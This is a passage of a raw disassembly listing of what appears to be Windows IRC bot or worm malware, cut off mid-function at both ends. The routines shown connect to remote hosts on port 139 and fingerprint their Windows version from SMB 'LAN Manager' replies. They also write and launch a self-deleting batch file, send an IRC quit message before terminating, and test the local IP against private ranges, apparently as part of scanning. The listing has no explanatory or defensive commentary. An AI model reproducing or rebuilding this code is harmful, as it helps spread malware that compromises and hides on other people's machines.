		cmp	ecx, 10h
		jb	short loc_402332
		mov	eax, [esi+4]
		jmp	short loc_402335
; ---------------------------------------------------------------------------

loc_402332:				; CODE XREF: sub_4022E3+48j
		lea	eax, [esi+4]

loc_402335:				; CODE XREF: sub_4022E3+4Dj
		push	[ebp+arg_4]
		push	edi
		push	ecx
		push	eax
		call	sub_401D43
		add	esp, 10h
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_4020BD

loc_40234D:				; CODE XREF: sub_4022E3+40j
		mov	eax, esi

loc_40234F:				; CODE XREF: sub_4022E3+30j
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_4022E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_402355	proc near		; CODE XREF: sub_4022E3+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx+18h]
		cmp	esi, 10h
		lea	eax, [ecx+4]
		jb	short loc_402365
		mov	edx, [eax]
		jmp	short loc_402367
; ---------------------------------------------------------------------------

loc_402365:				; CODE XREF: sub_402355+Aj
		mov	edx, eax

loc_402367:				; CODE XREF: sub_402355+Ej
		cmp	[esp+4+arg_0], edx
		jb	short loc_402383
		cmp	esi, 10h
		jb	short loc_402374
		mov	eax, [eax]

loc_402374:				; CODE XREF: sub_402355+1Bj
		mov	ecx, [ecx+14h]
		add	ecx, eax
		cmp	ecx, [esp+4+arg_0]
		jbe	short loc_402383
		mov	al, 1
		jmp	short loc_402385
; ---------------------------------------------------------------------------

loc_402383:				; CODE XREF: sub_402355+16j
					; sub_402355+28j
		xor	al, al

loc_402385:				; CODE XREF: sub_402355+2Cj
		pop	esi
		retn	4
sub_402355	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402389	proc near		; CODE XREF: sub_4021E4+50p
					; sub_4021E4+6Cp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		sub	esp, 0Ch
		test	ecx, ecx
		ja	short loc_4023A1
		xor	ecx, ecx

loc_402398:				; CODE XREF: sub_402389+22j
		push	ecx
		call	loc_40CC1A
		pop	ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4023A1:				; CODE XREF: sub_402389+Bj
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	ecx
		cmp	eax, 1
		jnb	short loc_402398
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		call	sub_40C7DB
		push	offset dword_421F98
		lea	eax, [ebp+var_C]
		push	eax
		mov	[ebp+var_C], offset off_41E304
		call	sub_40E1BC
		int	3		; Trap to Debugger
		push	esi
		push	[esp+10h+var_8]
		mov	esi, ecx
		call	sub_40C841
		mov	dword ptr [esi], offset	off_41E304
		mov	eax, esi
		pop	esi
		retn	4
sub_402389	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4023EB	proc near		; CODE XREF: sub_408CC5+11Dp

var_528		= dword	ptr -528h
var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= byte ptr -50Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 528h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6
		push	1
		xor	edi, edi
		push	2
		mov	[ebp+var_528], eax
		mov	[ebp+var_524], edi
		call	ds:dword_41E240	; socket
		mov	esi, eax
		or	ebx, 0FFFFFFFFh
		cmp	esi, ebx
		mov	[ebp+var_520], esi
		jz	loc_402620
		push	10h
		lea	eax, [ebp+var_51C]
		push	edi
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	8Bh
		mov	[ebp+var_51C], 2
		call	ds:dword_41E238	; htons
		push	[ebp+var_528]
		mov	[ebp+var_51A], ax
		call	ds:dword_41E234	; inet_addr
		mov	[ebp+var_518], eax
		push	10h
		lea	eax, [ebp+var_51C]
		push	eax
		push	esi
		call	ds:dword_41E258	; connect
		cmp	eax, ebx
		jz	loc_402620
		push	100h
		lea	eax, [ebp+var_10C]
		push	edi
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	edi
		push	48h
		push	offset unk_425518
		push	esi
		call	ds:dword_41E248	; send
		cmp	eax, ebx
		jz	loc_402620
		push	edi
		mov	edi, 0FFh
		push	edi
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		mov	esi, ds:dword_41E23C
		call	esi	; recv
		cmp	eax, ebx
		jz	loc_402620
		push	0
		push	33h
		push	offset dword_4254E0
		push	[ebp+var_520]
		call	ds:dword_41E248	; send
		cmp	eax, ebx
		jz	loc_402620
		push	0
		push	edi
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_520]
		call	esi	; recv
		cmp	eax, ebx
		jz	loc_402620
		push	0
		push	4Ch
		push	offset dword_425568
		push	[ebp+var_520]
		call	ds:dword_41E248	; send
		cmp	eax, ebx
		jz	loc_402620
		push	0
		push	edi
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_520]
		call	esi	; recv
		cmp	eax, ebx
		jz	loc_402620
		lea	ebx, [eax-1]
		test	ebx, ebx
		jle	short loc_40259B
		lea	esi, [ebp+ebx+var_10B]

loc_40254F:				; CODE XREF: sub_4023EB+1AEj
		mov	eax, [ebp+var_524]
		cmp	eax, 4
		jge	short loc_40259B
		cmp	byte ptr [esi-1], 0
		jnz	short loc_402595
		dec	eax
		jz	short loc_40257E
		dec	eax
		jz	short loc_402571
		dec	eax
		jnz	short loc_40258F
		lea	eax, [ebp+var_20C]
		jmp	short loc_402584
; ---------------------------------------------------------------------------

loc_402571:				; CODE XREF: sub_4023EB+179j
		push	1FFh
		lea	eax, [ebp+var_40C]
		jmp	short loc_402585
; ---------------------------------------------------------------------------

loc_40257E:				; CODE XREF: sub_4023EB+176j
		lea	eax, [ebp+var_50C]

loc_402584:				; CODE XREF: sub_4023EB+184j
		push	edi

loc_402585:				; CODE XREF: sub_4023EB+191j
		push	esi
		push	eax
		call	sub_40CC90
		add	esp, 0Ch

loc_40258F:				; CODE XREF: sub_4023EB+17Cj
		inc	[ebp+var_524]

loc_402595:				; CODE XREF: sub_4023EB+173j
		dec	ebx
		dec	esi
		test	ebx, ebx
		jg	short loc_40254F

loc_40259B:				; CODE XREF: sub_4023EB+15Bj
					; sub_4023EB+16Dj
		lea	eax, [ebp+var_40C]
		mov	ecx, offset aNtLanManager_ ; "NT LAN Manager *.*"
		call	sub_4029B4
		test	eax, eax
		jz	short loc_4025B3
		xor	eax, eax
		jmp	short loc_402623
; ---------------------------------------------------------------------------

loc_4025B3:				; CODE XREF: sub_4023EB+1C2j
		lea	eax, [ebp+var_40C]
		mov	ecx, offset aWindows2000Lan ; "Windows 2000 LAN	Manager*"
		call	sub_4029B4
		test	eax, eax
		jz	short loc_4025FC
		lea	eax, [ebp+var_20C]
		push	eax
		push	offset aWindows5_0 ; "Windows 5.0"
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4025E1
		inc	eax
		jmp	short loc_402623
; ---------------------------------------------------------------------------

loc_4025E1:				; CODE XREF: sub_4023EB+1F1j
		lea	eax, [ebp+var_20C]
		push	eax
		push	offset aWindows5_1 ; "Windows 5.1"
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4025FC
		push	2
		jmp	short loc_402622
; ---------------------------------------------------------------------------

loc_4025FC:				; CODE XREF: sub_4023EB+1DAj
					; sub_4023EB+20Bj
		lea	eax, [ebp+var_40C]
		mov	ecx, offset aWindowsServer2 ; "Windows Server 2003 *"
		call	sub_4029B4
		test	eax, eax
		jz	short loc_402614
		push	3
		jmp	short loc_402622
; ---------------------------------------------------------------------------

loc_402614:				; CODE XREF: sub_4023EB+223j
		push	[ebp+var_520]
		call	ds:dword_41E244	; closesocket

loc_402620:				; CODE XREF: sub_4023EB+40j
					; sub_4023EB+97j ...
		push	4

loc_402622:				; CODE XREF: sub_4023EB+20Fj
					; sub_4023EB+227j
		pop	eax

loc_402623:				; CODE XREF: sub_4023EB+1C6j
					; sub_4023EB+1F4j
		mov	ecx, [ebp+var_8]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn
sub_4023EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402632	proc near		; CODE XREF: sub_4049E1+1C0p
					; sub_4088D0+199p

var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_124		= dword	ptr -124h
var_120		= byte ptr -120h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 170h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_8], eax
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	40h
		lea	eax, [ebp+var_168]
		push	ebx
		push	eax
		mov	[ebp+var_16C], ebx
		call	sub_40C6F0
		xor	eax, eax
		mov	[ebp+var_124], ebx
		lea	edi, [ebp+var_120]
		stosd
		stosd
		mov	esi, 103h
		push	esi
		stosd
		lea	eax, [ebp+var_113]
		push	ebx
		push	eax
		mov	[ebp+var_114], bl
		call	sub_40C6F0
		lea	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		call	sub_40D1C9
		add	esp, 28h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_16C]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_114]
		push	eax
		push	ebx
		call	ds:dword_41E04C	; CreateProcessA
		mov	ecx, [ebp+var_8]
		test	eax, eax
		pop	edi
		setnz	al
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn
sub_402632	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4026D7	proc near		; CODE XREF: sub_402833+15Cp

var_23C		= byte ptr -23Ch
var_23B		= byte ptr -23Bh
var_13C		= byte ptr -13Ch
var_13B		= byte ptr -13Bh
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 23Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		xor	ebx, ebx
		push	37h
		lea	eax, [ebp+var_3B]
		push	ebx
		push	eax
		mov	[ebp+var_3C], bl
		call	sub_40C6F0
		mov	esi, 0FFh
		push	esi
		lea	eax, [ebp+var_23B]
		push	ebx
		push	eax
		mov	[ebp+var_23C], bl
		call	sub_40C6F0
		push	esi
		lea	eax, [ebp+var_13B]
		push	ebx
		push	eax
		mov	[ebp+var_13C], bl
		call	sub_40C6F0
		add	esp, 24h
		push	100h
		lea	eax, [ebp+var_13C]
		push	eax
		push	ebx
		call	ds:dword_41E0CC	; GetModuleHandleA
		push	eax
		call	ds:dword_41E0B4	; GetModuleFileNameA
		lea	eax, [ebp+var_13C]
		push	eax
		push	eax
		lea	eax, [ebp+var_23C]
		push	offset a@echoOff1DelSI ; "@echo	off\r\n:1\r\ndel \"%s\"\r\nif exist \"%s\" "...
		push	eax
		call	sub_40CE48
		push	104h
		call	sub_40AA82
		mov	esi, eax
		push	esi
		call	sub_40C58B
		add	esp, 18h
		dec	eax
		push	eax
		push	esi
		call	ds:dword_41E050	; GetSystemDirectoryA
		call	sub_40D0F6
		push	18h
		cdq
		pop	ecx
		idiv	ecx
		add	edx, 61h
		push	edx
		call	sub_40D0F6
		push	18h
		cdq
		pop	ecx
		idiv	ecx
		add	edx, 61h
		push	edx
		call	sub_40D0F6
		push	18h
		cdq
		pop	ecx
		idiv	ecx
		add	edx, 61h
		push	edx
		call	sub_40D0F6
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_40D0F6
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_40D0F6
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		lea	eax, [ebp+var_3C]
		push	edx
		push	esi
		push	offset aSTmpIIICCC_bat ; "%s\\tmp-%i%i%i-%c%c%c.bat"
		push	eax
		call	sub_40CE48
		push	esi
		call	sub_40C76A
		lea	eax, [ebp+var_3C]
		push	offset aW	; "w"
		push	eax
		call	sub_40CF87
		mov	esi, eax
		add	esp, 30h
		cmp	esi, ebx
		jz	short loc_402825
		lea	eax, [ebp+var_23C]
		push	eax
		push	offset aS	; "%s"
		push	esi
		call	sub_40CF9A
		push	esi
		call	sub_40D257
		add	esp, 10h
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_41E1F4

loc_402825:				; CODE XREF: sub_4026D7+122j
		mov	ecx, [ebp+var_4]
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn
sub_4026D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402833	proc near		; CODE XREF: sub_4088D0+1C5p

var_2A8		= byte ptr -2A8h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_28B		= byte ptr -28Bh
var_18C		= byte ptr -18Ch
var_18B		= byte ptr -18Bh
var_CC		= byte ptr -0CCh
var_CB		= byte ptr -0CBh
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2A8h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, 0BFh
		xor	ebx, ebx
		push	esi
		mov	[ebp+var_298], eax
		lea	eax, [ebp+var_CB]
		push	ebx
		push	eax
		mov	[ebp+var_CC], bl
		call	sub_40C6F0
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_18B]
		push	ebx
		push	eax
		mov	[ebp+var_18C], bl
		call	sub_40C6F0
		add	esp, 0Ch
		lea	eax, [ebp+var_CC]
		push	eax
		push	ebx
		call	sub_402E6D
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	eax
		call	sub_40CDC0
		inc	esi
		push	esi
		lea	eax, [ebp+var_CC]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 1Ch
		push	esi
		lea	eax, [ebp+var_18C]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	0FFh
		lea	eax, [ebp+var_28B]
		push	ebx
		push	eax
		mov	[ebp+var_28C], bl
		call	sub_40C6F0
		mov	eax, dword_433BC4
		mov	eax, [eax]
		mov	[ebp+var_290], eax
		mov	eax, offset dword_433BC0
		add	esp, 0Ch
		mov	[ebp+var_294], eax
		mov	[ebp+var_2A0], eax

loc_402903:				; CODE XREF: sub_402833+114j
		mov	eax, dword_433BC4
		lea	edi, [ebp+var_2A0]
		lea	esi, [ebp+var_294]
		mov	[ebp+var_29C], eax
		call	sub_402E50
		test	al, al
		jz	short loc_402955
		push	offset aRm	; "RM"
		call	sub_402E02
		add	eax, 5
		push	eax
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_402949
		lea	edi, [ebp+var_2A8]
		call	sub_402E22
		jmp	short loc_402903
; ---------------------------------------------------------------------------

loc_402949:				; CODE XREF: sub_402833+107j
		call	sub_402E02
		mov	eax, [eax]
		call	sub_408409

loc_402955:				; CODE XREF: sub_402833+EEj
		mov	edi, 100h
		push	edi
		lea	esi, [ebp+var_28C]
		mov	ebx, offset asc_4250C9 ; "ÞÆÑÛÁÛ"
		call	sub_401ACE
		pop	ecx
		mov	eax, esi
		push	eax
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_405168
		add	esp, 0Ch
		push	edi
		mov	eax, esi
		push	0
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		call	sub_4026D7
		push	[ebp+var_298]
		mov	edi, offset dword_426A3C
		push	offset aQuitSYouKilled ; "QUIT :%s YOU KILLED ME :< --UPDATED\r\n"
		call	sub_403ECA
		pop	ecx
		pop	ecx
		push	0
		call	ds:off_41E0B0
		int	3		; Trap to Debugger
sub_402833	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4029B4	proc near		; CODE XREF: sub_4023EB+1BBp
					; sub_4023EB+1D3p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	cl, [eax]
		test	cl, cl
		push	edi
		jz	short loc_402A1D

loc_4029C2:				; CODE XREF: sub_4029B4+24j
		mov	dl, [esi]
		cmp	dl, 2Ah
		jz	short loc_4029DA
		cmp	dl, cl
		jz	short loc_4029D2
		cmp	dl, 3Fh
		jnz	short loc_4029F8

loc_4029D2:				; CODE XREF: sub_4029B4+17j
		inc	esi
		inc	eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_4029C2

loc_4029DA:				; CODE XREF: sub_4029B4+13j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_402A1D
		mov	edi, [ebp+var_4]

loc_4029E3:				; CODE XREF: sub_4029B4+5Fj
		mov	dl, [esi]
		cmp	dl, 2Ah
		jnz	short loc_4029FC
		inc	esi
		cmp	byte ptr [esi],	0
		jz	short loc_402A17
		mov	[ebp+var_4], esi
		lea	edi, [eax+1]
		jmp	short loc_402A0F
; ---------------------------------------------------------------------------

loc_4029F8:				; CODE XREF: sub_4029B4+1Cj
		xor	eax, eax
		jmp	short loc_402A29
; ---------------------------------------------------------------------------

loc_4029FC:				; CODE XREF: sub_4029B4+34j
		cmp	dl, cl
		jz	short loc_402A0D
		cmp	dl, 3Fh
		jz	short loc_402A0D
		mov	esi, [ebp+var_4]
		mov	eax, edi
		inc	edi
		jmp	short loc_402A0F
; ---------------------------------------------------------------------------

loc_402A0D:				; CODE XREF: sub_4029B4+4Aj
					; sub_4029B4+4Fj
		inc	esi
		inc	eax

loc_402A0F:				; CODE XREF: sub_4029B4+42j
					; sub_4029B4+57j
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_4029E3
		jmp	short loc_402A1D
; ---------------------------------------------------------------------------

loc_402A17:				; CODE XREF: sub_4029B4+3Aj
		xor	eax, eax
		inc	eax
		jmp	short loc_402A29
; ---------------------------------------------------------------------------

loc_402A1C:				; CODE XREF: sub_4029B4+6Cj
		inc	esi

loc_402A1D:				; CODE XREF: sub_4029B4+Cj
					; sub_4029B4+2Aj ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_402A1C
		xor	eax, eax
		cmp	[esi], al
		setz	al

loc_402A29:				; CODE XREF: sub_4029B4+46j
					; sub_4029B4+66j
		pop	edi
		pop	esi
		leave
		retn
sub_4029B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A2D	proc near		; CODE XREF: sub_402C36+2Ap
					; sub_408CC5+1FBp ...

var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_8], eax
		push	10h
		lea	eax, [ebp+var_18]
		push	0
		push	eax
		mov	[ebp+var_1C], 10h
		call	sub_40C6F0
		push	10h
		push	0
		push	esi
		call	sub_40C6F0
		add	esp, 18h
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_41E27C	; getsockname
		movzx	eax, [ebp+var_11]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_13]
		push	eax
		movzx	eax, [ebp+var_14]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	0Fh
		push	esi
		call	sub_40C634
		push	esi
		call	sub_40C500
		mov	ecx, [ebp+var_8]
		mov	byte ptr [eax+esi], 0
		xor	ecx, ebp
		add	esp, 20h
		mov	eax, esi
		call	sub_40AB4A
		leave
		retn
sub_402A2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_402AAB	proc near		; CODE XREF: sub_40393C+255p
					; sub_404844+85p

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_88		= dword	ptr -88h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 98h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+78h+var_4], eax
		push	ebx
		push	esi
		lea	eax, [ebp+78h+var_98]
		push	eax
		mov	esi, ecx
		mov	[ebp+78h+var_98], 94h
		call	ds:dword_41E058	; GetVersionExA
		push	esi
		xor	ebx, ebx
		push	ebx
		push	edi
		call	sub_40C6F0
		add	esp, 0Ch
		cmp	[ebp+78h+var_94], 6
		jnz	short loc_402AF4
		cmp	[ebp+78h+var_90], ebx
		jnz	short loc_402B5F
		push	offset aVis	; "VIS"
		jmp	short loc_402B64
; ---------------------------------------------------------------------------

loc_402AF4:				; CODE XREF: sub_402AAB+3Bj
		cmp	[ebp+78h+var_94], 5
		jnz	short loc_402B20
		cmp	[ebp+78h+var_90], 2
		jnz	short loc_402B07
		push	offset a2k3	; "2K3"
		jmp	short loc_402B64
; ---------------------------------------------------------------------------

loc_402B07:				; CODE XREF: sub_402AAB+53j
		cmp	[ebp+78h+var_90], 1
		jnz	short loc_402B14
		push	offset aXp	; "XP"
		jmp	short loc_402B64
; ---------------------------------------------------------------------------

loc_402B14:				; CODE XREF: sub_402AAB+60j
		cmp	[ebp+78h+var_90], ebx
		jnz	short loc_402B5F
		push	offset a2k	; "2K"
		jmp	short loc_402B64
; ---------------------------------------------------------------------------

loc_402B20:				; CODE XREF: sub_402AAB+4Dj
		cmp	[ebp+78h+var_94], 4
		jnz	short loc_402B5F
		cmp	[ebp+78h+var_90], 5Ah
		jnz	short loc_402B33
		push	offset aMe	; "ME"
		jmp	short loc_402B64
; ---------------------------------------------------------------------------

loc_402B33:				; CODE XREF: sub_402AAB+7Fj
		cmp	[ebp+78h+var_90], 1
		jnz	short loc_402B40
		push	offset a98	; "98"
		jmp	short loc_402B64
; ---------------------------------------------------------------------------

loc_402B40:				; CODE XREF: sub_402AAB+8Cj
		cmp	[ebp+78h+var_90], ebx
		jnz	short loc_402B5F
		cmp	[ebp+78h+var_88], 2
		jnz	short loc_402B52
		push	offset aNt	; "NT"
		jmp	short loc_402B64
; ---------------------------------------------------------------------------

loc_402B52:				; CODE XREF: sub_402AAB+9Ej
		cmp	[ebp+78h+var_88], 1
		jnz	short loc_402B6F
		push	offset a95	; "95"
		jmp	short loc_402B64
; ---------------------------------------------------------------------------

loc_402B5F:				; CODE XREF: sub_402AAB+40j
					; sub_402AAB+6Cj ...
		push	offset aUnk	; "UNK"

loc_402B64:				; CODE XREF: sub_402AAB+47j
					; sub_402AAB+5Aj ...
		dec	esi
		push	esi
		push	edi
		call	sub_40C634
		add	esp, 0Ch

loc_402B6F:				; CODE XREF: sub_402AAB+ABj
		push	edi
		call	sub_40C500
		pop	ecx
		mov	ecx, [ebp+78h+var_4]
		mov	[eax+edi], bl
		pop	esi
		xor	ecx, ebp
		mov	eax, edi
		pop	ebx
		call	sub_40AB4A
		add	ebp, 78h
		leave
		retn
sub_402AAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B8C	proc near		; CODE XREF: sub_40393C+262p
					; sub_404844+AFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_4]
		push	0
		push	[ebp+arg_0]
		call	sub_40C6F0
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	7
		push	800h
		call	ds:off_41E0AC
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_402B8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402BB7	proc near		; CODE XREF: sub_40386C+8p
					; sub_40386C:loc_403885p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_41E084	; QueryPerformanceCounter
		test	eax, eax
		jz	short loc_402C33
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:off_41E054
		test	eax, eax
		jz	short loc_402C33
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D490
		push	0
		push	15180h
		push	edx
		push	eax
		call	sub_41B310
		push	0
		push	0E10h
		push	ebx
		push	ecx
		mov	dword_426618, eax
		mov	dword_42661C, edx
		call	sub_41B310
		push	0
		push	3Ch
		push	ebx
		push	ecx
		mov	dword_426620, eax
		mov	dword_426624, edx
		call	sub_41D490
		mov	dword_426628, eax
		mov	dword_42662C, edx

loc_402C33:				; CODE XREF: sub_402BB7+13j
					; sub_402BB7+21j
		pop	ebx
		leave
		retn
sub_402BB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C36	proc near		; CODE XREF: sub_404844+CFp
					; sub_408CC5+1CCp ...

var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	esi
		push	edi
		push	dword_426A3C
		mov	[ebp+var_14], 0
		xor	eax, eax
		lea	edi, [ebp+var_13]
		stosd
		stosd
		stosd
		stosw
		lea	esi, [ebp+var_14]
		stosb
		call	sub_402A2D
		pop	ecx
		mov	eax, esi
		mov	ecx, offset a192 ; "192*"
		call	sub_4029B4
		test	eax, eax
		pop	edi
		pop	esi
		jnz	loc_402D32
		lea	eax, [ebp+var_14]
		mov	ecx, offset a10_ ; "10.*"
		call	sub_4029B4
		test	eax, eax
		jnz	loc_402D32
		lea	eax, [ebp+var_14]
		mov	ecx, offset a111_ ; "111.*"
		call	sub_4029B4
		test	eax, eax
		jnz	loc_402D32
		lea	eax, [ebp+var_14]
		mov	ecx, offset a15_ ; "15.*"
		call	sub_4029B4
		test	eax, eax
		jnz	short loc_402D32
		lea	eax, [ebp+var_14]
		mov	ecx, offset a16_ ; "16.*"
		call	sub_4029B4
		test	eax, eax
		jnz	short loc_402D32
		lea	eax, [ebp+var_14]
		mov	ecx, offset a101 ; "101*"
		call	sub_4029B4
		test	eax, eax
		jnz	short loc_402D32
		lea	eax, [ebp+var_14]
		mov	ecx, offset a110 ; "110*"
		call	sub_4029B4
		test	eax, eax
		jnz	short loc_402D32
		lea	eax, [ebp+var_14]
		mov	ecx, offset a112 ; "112*"
		call	sub_4029B4
		test	eax, eax
		jnz	short loc_402D32
		lea	eax, [ebp+var_14]
		mov	ecx, offset a170_65__ ;	"170.65.*.*"
		call	sub_4029B4
		test	eax, eax
		jnz	short loc_402D32
		lea	eax, [ebp+var_14]
		mov	ecx, offset a11_ ; "11.*"
		call	sub_4029B4
		test	eax, eax
		jnz	short loc_402D32
		lea	eax, [ebp+var_14]
		mov	ecx, offset a172 ; "172*"
		call	sub_4029B4
		test	eax, eax
		jnz	short loc_402D32
		xor	al, al
		jmp	short loc_402D34
; ---------------------------------------------------------------------------

loc_402D32:				; CODE XREF: sub_402C36+40j
					; sub_402C36+55j ...
		mov	al, 1

loc_402D34:				; CODE XREF: sub_402C36+FAj
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40AB4A
		leave
		retn
sub_402C36	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D40	proc near		; CODE XREF: sub_4049E1+3C5p
					; .text:0040A18Dp
		and	dword_426630, 0
		mov	dword_426634, 1Fh
		call	ds:dword_41E0EC	; GetTickCount
		mov	edx, 3FFFFFFFh
		and	eax, edx
		mov	dword_426638, eax
		mov	dword_42663C, 1
		mov	eax, offset dword_426638
		push	esi

loc_402D73:				; CODE XREF: sub_402D40+46j
		mov	esi, [eax]
		lea	ecx, [eax+4]
		add	esi, [ecx]
		and	esi, edx
		mov	[eax+8], esi
		mov	eax, ecx
		cmp	eax, offset dword_42670C
		jl	short loc_402D73
		pop	esi
		retn
sub_402D40	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D8A	proc near		; CODE XREF: sub_40312D+9Cp
					; sub_40A506+82p ...

arg_0		= dword	ptr  4

		xor	ecx, ecx
		push	ebx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		inc	ecx
		sub	ecx, eax
		add	ebx, ecx
		cmp	ebx, 1
		jle	short loc_402E00
		push	2
		pop	ecx
		cmp	ebx, ecx
		jle	short loc_402DAA

loc_402DA4:				; CODE XREF: sub_402D8A+1Ej
